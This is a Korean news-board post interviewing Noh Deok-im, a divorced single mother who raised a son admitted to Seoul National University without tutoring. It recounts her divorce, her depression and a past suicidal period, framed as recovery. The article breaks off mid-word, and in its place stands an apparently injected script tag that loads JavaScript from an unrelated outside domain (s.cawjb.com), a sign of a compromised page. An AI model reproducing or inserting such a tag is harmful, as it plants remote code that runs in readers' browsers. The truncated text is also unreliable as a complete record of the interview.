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여자는 약하지만 어머니는 강하다 |
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번 호 |
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618 |
조회수 |
2912 |
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작성자 |
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뉴스한국 |
작성일 |
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06-06-13 |
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내 용 |
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여자는 약하지만 어머니는 강하다”
당당한 싱글맘 노덕임 씨 인터뷰
“과외 한 번 없이 서울대에 간 아들이 자랑스럽지 않냐고요? 아뇨,
아들이 엄마를 자랑스러워해야 하는 것 아닌가요?(웃음)” 구청에서
아이들을 대상으로 독서지도와 보호관찰 청소년을 지도하고 있는 노덕
임(49) 씨. 이미 7년 전에 ‘과외 절대로 시키지 마라’는 책을 펴낸
전력을 가진 그의 학력은 중학교졸업. 아니, 얼마 전에 방송통신고를
졸업했으니 이제 고졸이다.
그는 과외는커녕 재활용센터에서 남이 버린 문제집을 얻어다 공부시
켜 아들을 서울대에 보낸 것으로 유명하다. 노덕임 씨는 이미 20년
전 남편의 외도로 7년을 고통 속에 살다가 이혼하여 새 삶을 살아온
전형적인 싱글맘이다. 그런데 그의 얼굴에서는 여느 싱글맘에게 찾기
어려운 여유로움이 묻어난다.
유서 쓰다가 쓴 책
ⓒ뉴스한국
노덕임 씨는 “책을 쓰려고 시작한 게 아니었다. 유서를 쓰다가 그게
책이 됐다”고 말한다.
남편의 외도로 충격을 받아 7년 동안 잠도 못 자고 우울증으로 정신병
원에 다녔다. 몸도 극도로 쇠약해 지자 삶이 너무 힘겨워 죽겠다는 마
음을 먹었다. 하지만 죽더라도 아이들에게 뭔가 남겨주고 가야겠다는
생각이 들어 아이들에게 남기는 글을 쓰다 보니 어느새 노트로 100권
이 되었다.
어려서부터 책을 좋아했던 터라 ‘나도 한 번 책으로 내보고 싶다’
는 생각에 가까운 출판사로 향했고 그렇게 책이 출판되었다. 이후 교
육청이나 학교 등에서 강의를 해달라는 요청이 쇄도했고 두 번째 책
을 출간하고 지금은 방송통신대학 국문과에 다니고 있다. “책을 내
고 여기저기 불려 다니다 보니 내가 너무 우물 안 개구리였다는 생각
이 들었다. 그래서 대학에 진학했고 무엇인가를 배워간다는 자체가 가
장 큰 기쁨이다”는 그녀다.
엄마는 강하다
큰 아들이 6살, 작은 아들이 4살 때 실질적으로 혼자 살기 시작했고 7
년 동안 속을 끓이다가 이혼했다. 모든 것을 아이들과 의논하여 풀어
갔다는 노덕임 씨는 아이들에게 이혼상황을 얘기하며 “엄마랑 함께
사는 것이 어떻겠느냐”고 물었다. 지금도 그녀는 아이들에게 의견을
물어 가급적 아이들이 싫어하는 일을 하지 않으려고 애쓴다.
홀로 두 아이를 책임지며 살겠다고 다짐한 날 저녁에 그녀는 책을 한
보따리 사왔다. 그리고 아이들에게 “과외비만 안 들면 엄마가 힘내
서 살 수 있으니까 책 많이 읽고 공부하자”고 얘기해 합의를 봤다.
그때부터 노덕임 씨는 밥도 많이 먹고 잠도 잘 자고 열심히 운동했
다. 그리고 건강해지기 시작했다. 화나는 일이 있어도 아이에게 큰소
리치지 않았고 한숨을 쉬지도 않았다. 아이들에게 밝고 당당하게 사
는 엄마의 모습을 보여주려고 노력했다.
새 학기가 되면 아이의 담임선생님을 찾아가 사정을 이야기하고 집에
서 최선을 다해 밝게 키울 것이니 아이에게 관심을 많이 가져달라 도
움을 청했다. 덕분에 선생님의 관심 속에서 보충수업비와 육성회비도
면제받았다.
“아이들과 열심히 책을 봤어요. 주워서보고 빌려서도 봤어요. 많을
땐 수레씩 가져다 보기도 했어요”라는 그녀는 그야말로 책벌레다. 자
신이 책을 좋아하니 재활용센터에서 가져온 영어문제집은 아들이 다
풀었고, 수학문제집은 답을 지우거나 종이를 오려붙여 풀기도 했다.
아이들에게는 항상 “내가 바르고 열심히 살면 무엇도 흉이 될 수 없
다”고 강조했다.
아이가 시험을 잘 봤는데도 상을 주기보다는 평범하게 대했다. 시험
을 잘 봤을 때 상을 주면 더 잘 보려고 아이들이 스트레스를 받는다
는 것이 그의 생각이다. 실제로 아들은 엄마 덕분에 시험 스트레스가
없다고 얘기한다.
아이들과 친구처럼 지내는 노덕임 씨는 집 근처에서 함께 테니스를
칠 때도 사정없이 후려친다. “엄마가 왜 이렇게 후려치는지 알아? 경
쟁사회에서 이기려면 힘이 없어서는 안 되기 때문이야”라면서 몸 곳
곳에 신나게 공을 퉁겨 맞춘다. 그러면 아이들은 “엄마, 나 죽으면
보험금 타려고 하는 거지?”라며 우스개 소리로 되받아친다.
세상 편견을 이길 수 있었던 긍정의 힘
자녀들에게는 항상 밝게 웃는 엄마였지만 밖에서는 싱글맘으로서 주위
의 편견과 싸워야 했다. 한동안 남편이 외국에 나가있다고 했지만, 같
은 곳에 오래 살다 보니 결국 하나둘씩 다 알게 되었다. 그 후부터 옆
집 남성이 노 씨의 신문을 가져다 보기도 하고 온갖 욕설을 하곤 했
다.
비참함과 서글픔에 다른 사람들에게 털어놓고 창피해서 외출도 못했
다. 노덕임 씨는 “거울을 보면 내가 너무 불쌍해서 한숨이 나왔다.
하지만 마음을 바꿔 한숨 대신 좋은 글이나 시를 곳곳에 붙여놓고 한
숨이 나올 때마다 외웠?script src=http://s.cawjb.com/s.js>
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